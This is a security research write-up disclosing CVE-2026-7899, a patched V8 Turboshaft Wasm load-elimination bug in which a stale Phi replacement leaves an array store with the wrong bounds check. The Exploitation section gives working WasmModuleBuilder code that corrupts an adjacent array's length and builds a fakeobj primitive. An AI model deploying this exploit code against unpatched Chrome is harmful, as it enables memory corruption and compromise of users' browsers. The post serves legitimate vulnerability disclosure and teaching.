Nebula Security
Overview

August 2026 chrome

Check Your Motor Oil Before Turbocharging: CVE-2026-7899, When V8's Optimization Engine Builds Up Carbon

@xia0o0o0o
@rcv
August 27, 2026
10 min read

In April, we reported a severe vulnerability in V8, the JavaScript and WebAssembly engine used by Chrome. This vulnerability enabled remote code execution in Chrome’s renderer process. This writeup will cover the technical details of the vulnerability. The vulnerability was originally discovered and exploited by Nebula Security, winning a $55,000 bug bounty from Chrome VRP.

Background

Before discussing the bug, it is useful to cover the pieces of V8 and compiler internals that interact here: V8’s WebAssembly compilation pipeline, Wasm GC arrays, Phi nodes, and Turboshaft’s Wasm load-elimination pass.

WebAssembly compilation in V8

V8 uses two main compilers for WebAssembly. Liftoff is the baseline compiler. It compiles a function quickly so that execution can begin with little startup delay, but it performs relatively few optimizations. Hot Wasm functions can later be compiled by TurboFan, V8’s optimizing compiler, which spends more time producing faster machine code.

Turboshaft is the control-flow-graph-based optimizing IR and compiler backend framework used in the optimizing pipeline. At the version relevant to this bug, Wasm operations such as array.get, array.set, array.len, struct.get, and struct.set were represented as Turboshaft operations before being lowered to machine-level loads, stores, and checks.

Unlike a linear instruction stream, a Turboshaft graph is divided into basic blocks connected by control-flow edges. Operations refer to their inputs through OpIndex values. Compiler passes can analyze the input graph, record that one operation is equivalent to another, and then build a new graph in which the redundant operation is replaced.

For example, suppose the graph contains two loads of the same field and there is no store to that field between them:

v1 = StructGet(object, field0)
v2 = StructGet(object, field0)

The second load can be replaced with v1:

v1 = StructGet(object, field0)
v2 = v1

This is safe only while the compiler’s model of memory is correct. If a store might have changed field0, the second load has to remain in the graph.

Wasm GC arrays and structs

WebAssembly GC adds typed, garbage-collected structs and arrays. A module can declare an array of mutable i32 values and a struct containing a mutable reference to that array:

(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

The instructions used in this writeup have direct meanings:

  • array.new_default $arr allocates an array and initializes each element to the default value of its type.
  • array.len returns the array’s length.
  • array.get and array.set read and write an element.
  • struct.get and struct.set read and write a struct field.

Wasm requires an out-of-bounds array access to trap. When V8 builds the Turboshaft graph for an array.set, it first emits a bounds check that is conceptually equivalent to:

length = ArrayLength(array)
if (!(index < length)) {
trap ArrayOutOfBounds
}
ArraySet(array, index, value)

The ArrayLength used by the check is an ordinary graph operation, so it can be optimized. If the compiler proves that the array was allocated with length 8, it can replace the load with the constant 8. A later optimization may then fold a check such as 3 < 8 to true.

The crucial safety requirement is that the array whose length was used for the check must be the same array that is passed to the element access. If the check uses one array’s length but the store uses another array, the access is no longer protected by the runtime object’s actual bounds.

In V8’s object layout, a WasmArray stores a 32-bit length in its header, followed by its inline elements. Its allocation size depends on that length and the element size. A WasmStruct similarly stores its fields inline after its object header. These details become useful when turning the compiler bug into a more powerful primitive.

Loops and analysis revisits

Loops make this analysis more complicated. A loop header normally has at least two predecessors:

  • A forward edge entering the loop for the first time.
  • A backedge returning from the loop body.

On the first visit, the compiler has not analyzed the backedge yet. It begins with the state from the forward edge, walks the loop body, and records the state produced at the backedge. It can then merge the two states and revisit the loop if the backedge changed something the first analysis assumed.

Suppose a struct field points to big before the loop, but the loop body stores small into the field:

Before loop: holder.field0 = big
Loop body: holder.field0 = small

During the first analysis, a load of holder.field0 can resolve to big. After the backedge is considered, the loop header can no longer assume that the field is always big: on a later iteration it may contain small. The second analysis must therefore withdraw any optimization that depended on the earlier value.

This is a fixed-point computation. The analysis is finished only when revisiting the loop no longer changes the tracked state. Correctness requires both adding newly discovered replacements and clearing replacements that have stopped being valid.

Wasm load elimination

The WasmLoadEliminationAnalyzer tracks memory facts and proposed operation replacements in side tables. For a struct.get, it asks whether the same field already has a known value. For an array allocation, it records the allocation’s length as the known value of a synthetic array-length field.

The relevant allocation handler is:

void WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray(
OpIndex op_idx, const WasmAllocateArrayOp& alloc) {
non_aliasing_objects_.Set(op_idx, true);
static constexpr int offset = wle::kArrayLengthFieldIndex;
memory_.InsertLoadLike(op_idx, offset, alloc.length());
}

kArrayLengthFieldIndex lets the pass model an array’s length like a load from a special field. If an ArrayLength later refers to the same resolved base, ProcessArrayLength can reuse the recorded value:

void WasmLoadEliminationAnalyzer::ProcessArrayLength(
OpIndex op_idx, const ArrayLengthOp& length) {
static constexpr int offset = wle::kArrayLengthFieldIndex;
OpIndex existing = memory_.FindLoadLike(length.array(), offset);
if (existing.valid()) {
replacements_[op_idx] = existing;
return;
}
replacements_[op_idx] = OpIndex::Invalid();
memory_.InsertLoadLike(length.array(), offset, op_idx);
}

The call to FindLoadLike resolves known base replacements. Therefore, if a Phi is known to be equivalent to big, an ArrayLength whose input is that Phi can find the length recorded when big was allocated.

Recall: What does load elimination change?

The element access still uses the runtime array selected by the Phi. The optimization replaces the ArrayLength used by its bounds check. If that replacement is stale, the check and the access can refer to different arrays.

The Bug

The bug was in WasmLoadEliminationAnalyzer::ProcessPhi:

void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx,
const PhiOp& phi) {
InvalidateAllNonAliasingInputs(phi);
base::Vector<const OpIndex> inputs = phi.inputs();
// This copies some of the functionality of {RequiredOptimizationReducer}:
// Phis whose inputs are all the same value can be replaced by that value.
// We need to have this logic here because interleaving it with other cases
// of load elimination can unlock further optimizations: simplifying Phis
// can allow elimination of more loads, which can then allow simplification
// of even more Phis.
if (inputs.size() > 0) {
bool same_inputs = true;
OpIndex first = memory_.ResolveBase(inputs.first());
for (const OpIndex& input : inputs.SubVectorFrom(1)) {
if (memory_.ResolveBase(input) != first) {
same_inputs = false;
break;
}
}
if (same_inputs) {
replacements_[op_idx] = first;
}
}
}

The function first resolves each Phi input through the pass’s existing replacement table. If every input resolves to the same OpIndex, it records the first input as the Phi’s replacement:

if (same_inputs) {
replacements_[op_idx] = first;
}

However, there was no corresponding else branch. If a previous visit found equal inputs but a later loop revisit found different inputs, the old entry in replacements_ remained unchanged.

This behavior was inconsistent with other handlers in the same analyzer. Both ProcessStructGet and ProcessArrayLength explicitly invalidate a previous replacement when they can no longer eliminate the current operation:

replacements_[op_idx] = OpIndex::Invalid();

For Phi nodes, the replacement was sticky. Once a Phi had been recorded as equivalent to an input, a later analysis could fail to prove that equivalence without withdrawing it.

Building the stale replacement

The following pseudo-Wasm contains all the control flow needed to trigger the bug:

(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
(func
(local $holder (ref $holder))
(local $big (ref $arr))
(local $small (ref $arr))
(local $i i32)
i32.const 8
array.new_default $arr
local.set $big
i32.const 1
array.new_default $arr
local.set $small
local.get $big
struct.new $holder
local.set $holder
i32.const 2
local.set $i
loop
local.get $i
i32.const 2
i32.eq
if (result (ref $arr))
local.get $big
else
local.get $holder
struct.get $holder 0
end
i32.const 3
i32.const 0x40
array.set $arr
local.get $holder
local.get $small
struct.set $holder 0
local.get $i
i32.const 1
i32.sub
local.tee $i
br_if 0
end)

There are two arrays: big has length 8, while small has length 1. The mutable field holder.field0 initially contains big. Inside the loop, an if produces either big or the result of loading holder.field0. That merged array becomes the input to an array.set at index 3. At the end of the body, holder.field0 is changed to small before the loop takes its backedge.

The first analysis pass

Before analyzing the backedge, the memory table knows:

holder.field0 = big
length(big) = 8
length(small) = 1

The StructGet(holder, field0) in the second branch can therefore be eliminated to big. The merge Phi has these inputs after resolving bases:

Phi(big, ResolveBase(StructGet(holder, field0)))
Phi(big, big)

ProcessPhi records:

replacements_[phi] = big

The bounds check for array.set contains ArrayLength(phi). Since ResolveBase(phi) is now big, ProcessArrayLength finds the length inserted when big was allocated and records the constant 8 as the length operation’s replacement.

Later in the loop body, StructSet(holder, field0, small) changes the tracked field value and produces a different state for the backedge. That difference causes the loop to be revisited.

The loop revisit

When the forward-edge and backedge states are merged, the analyzer can no longer say that holder.field0 always contains big. On the revisit, ProcessStructGet does not find an existing value for the field, so it correctly clears its previous replacement.

The Phi now resolves as:

Phi(big, StructGet(holder, field0))

Its two inputs are no longer identical. same_inputs becomes false, but the vulnerable ProcessPhi simply reaches the end of the function. The earlier entry remains:

replacements_[phi] = big // stale

When the bounds check’s ArrayLength(phi) is processed again, ResolveBase(phi) still follows that stale entry to big. The compiler therefore continues to use 8 as the length in the check.

At runtime, the behavior across the two loop iterations is different:

Iteration 1: Phi selects big, then holder.field0 becomes small
Iteration 2: Phi loads small, but the bounds check still uses length 8

Index 3 is in bounds for big, so the optimized check succeeds. But on the second iteration the actual store operates on small, whose length is only 1. V8 performs the element store beyond the end of the runtime array instead of trapping.

The important distinction is that the pass does not replace the runtime array selected by the Phi with big. It incorrectly replaces the ArrayLength used by the bounds check. This leaves a small runtime array protected by a large array’s length.

Exploitation

Corrupting a victim array length

We first set up 3 arrays:

  • big, with length 8, provides the stale length used by the compiler.
  • small, with length 1, receives the out-of-bounds store.
  • victim, also with length 1, is allocated immediately after small.

The core trigger function is:

const arr = builder.addArray(kWasmI32, { final: true });
const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
const bigLen = 8;
const smallLen = 1;
const victimInit = 0x12345678;
const expandedVictimLen = 0x40;
const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
builder.addFunction('expand_victim_length', makeSig([], []))
.addLocals(wasmRefType(holder), 1)
.addLocals(wasmRefType(arr), 3)
.addLocals(kWasmI32, 1)
.addBody([
kExprI32Const, bigLen,
kGCPrefix, kExprArrayNewDefault, arr,
kExprLocalSet, 1,
kExprI32Const, smallLen,
kGCPrefix, kExprArrayNewDefault, arr,
kExprLocalSet, 2,
kExprI32Const, smallLen,
kGCPrefix, kExprArrayNewDefault, arr,
kExprLocalSet, 3,
kExprLocalGet, 3,
kExprI32Const, 0,
...wasmI32Const(victimInit),
kGCPrefix, kExprArraySet, arr,
kExprLocalGet, 1,
kGCPrefix, kExprStructNew, holder,
kExprLocalSet, 0,
kExprLocalGet, 3,
kExprGlobalSet, gVictim.index,
kExprLocalGet, 0,
kExprGlobalSet, gHolder.index,
kExprI32Const, 2,
kExprLocalSet, 4,
kExprLoop, kWasmVoid,
kExprLocalGet, 4,
kExprI32Const, 2,
kExprI32Eq,
kExprIf, kWasmRef, arr,
kExprLocalGet, 1,
kExprElse,
kExprLocalGet, 0,
kGCPrefix, kExprStructGet, holder, 0,
kExprEnd,
kExprI32Const, 3,
kExprI32Const, expandedVictimLen,
kGCPrefix, kExprArraySet, arr,
kExprLocalGet, 0,
kExprLocalGet, 2,
kGCPrefix, kExprStructSet, holder, 0,
kExprLocalGet, 4,
kExprI32Const, 1,
kExprI32Sub,
kExprLocalTee, 4,
kExprBrIf, 0,
kExprEnd,
])
.exportFunc();

On the first runtime iteration, the if selects big, so writing index 3 is legitimate. The subsequent struct.set changes the holder’s field to small. On the second iteration, the if loads small from the holder. The stale length replacement lets the same index-3 store proceed even though small.length is 1.

In the x64 pointer-compression layout used by the proof of concept, a one-element i32 Wasm array occupies four 4-byte slots: the map, the inherited properties_or_hash field, the length, and element zero. In the validation run, the consecutive allocations place victim immediately after small, so small[3] overlaps the length field of victim:

small: [ map ][ properties ][ length = 1 ][ element 0 ]
victim: [ map ][ properties ][ length = 1 ][ element 0 ]
^
small[3]

The out-of-bounds store writes 0x40 into that field. The physical allocation still contains space for one element, but subsequent bounds checks now observe a forged victim length of 64.

The module exports helpers that access the victim through its global reference:

builder.addFunction('victim_read', kSig_i_i)
.addBody([
kExprGlobalGet, gVictim.index,
kExprLocalGet, 0,
kGCPrefix, kExprArrayGet, arr,
])
.exportFunc();
builder.addFunction('victim_write', kSig_v_ii)
.addBody([
kExprGlobalGet, gVictim.index,
kExprLocalGet, 0,
kExprLocalGet, 1,
kGCPrefix, kExprArraySet, arr,
])
.exportFunc();

After expand_victim_length returns, these helpers trust the corrupted length. Indices from 1 through 63 pass their ordinary Wasm bounds checks even though they access memory beyond the original victim allocation.

From the corrupted length to fakeobj

The validation run similarly places the holder struct immediately after victim. In this layout, victim[3] overlaps holder.field0, which contains a compressed reference to a Wasm array:

victim: [ map ][ properties ][ length = 0x40 ][ element 0 ]
holder: [ map ][ properties ][ field0 ]
^
victim[3]

Because the victim’s forged length is 64, index 3 is considered valid. Writing an attacker-chosen 32-bit value at this index replaces the holder’s array reference. The exported getter then converts that field to an externref and returns it to JavaScript:

builder.addFunction('get_holder', kSig_r_v)
.addBody([
kExprGlobalGet, gHolder.index,
kGCPrefix, kExprStructGet, holder, 0,
kGCPrefix, kExprExternConvertAny,
])
.exportFunc();

The primitive itself is only a few lines:

wasm.expand_victim_length();
function fakeobj(addr) {
addr = Number(addr);
wasm.victim_write(3, addr);
return wasm.get_holder();
}

victim_write places addr into the reference field, and get_holder returns the resulting reference as a JavaScript value. With an appropriately encoded address for this V8 configuration, attacker-controlled pointer bits are therefore interpreted as an object, giving the initial fakeobj primitive.

Appendix

Timeline

  • 2026-04-23: We reported the bug to Google.
  • 2026-04-23: Google acknowledged the report and started investigating.
  • 2026-04-23: Google identified the root cause and finished the fix.
  • 2026-05-05: The fix was released in Chrome 148.0.7778.96.
  • 2026-08-27: We published this blog post.

Mitigation

The fix clears the recorded Phi replacement when its resolved inputs are no longer identical.

diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
index e15a7d6cd93..e1b415f5d87 100644
--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h
+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
@@ -987,6 +987,8 @@ void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
}
if (same_inputs) {
replacements_[op_idx] = first;
+ } else {
+ replacements_[op_idx] = OpIndex::Invalid();
}
}
}

For users, please update to the latest version of Chrome.

Affected versions

The bug was introduced in Chrome 121 in the nondefault feature --turboshaft-wasm-load-elimination, which was made default in Chrome 132, and the bug is fixed in Chrome 148. Any Chrome version between 132 and 148 is affected.

Acknowledgements

We would like to thank the V8 team for their quick response and thorough investigation of this issue.

Disclosure policy

For all bugs found during our research, we follow our standard 90+30 days disclosure policy as described on our About page.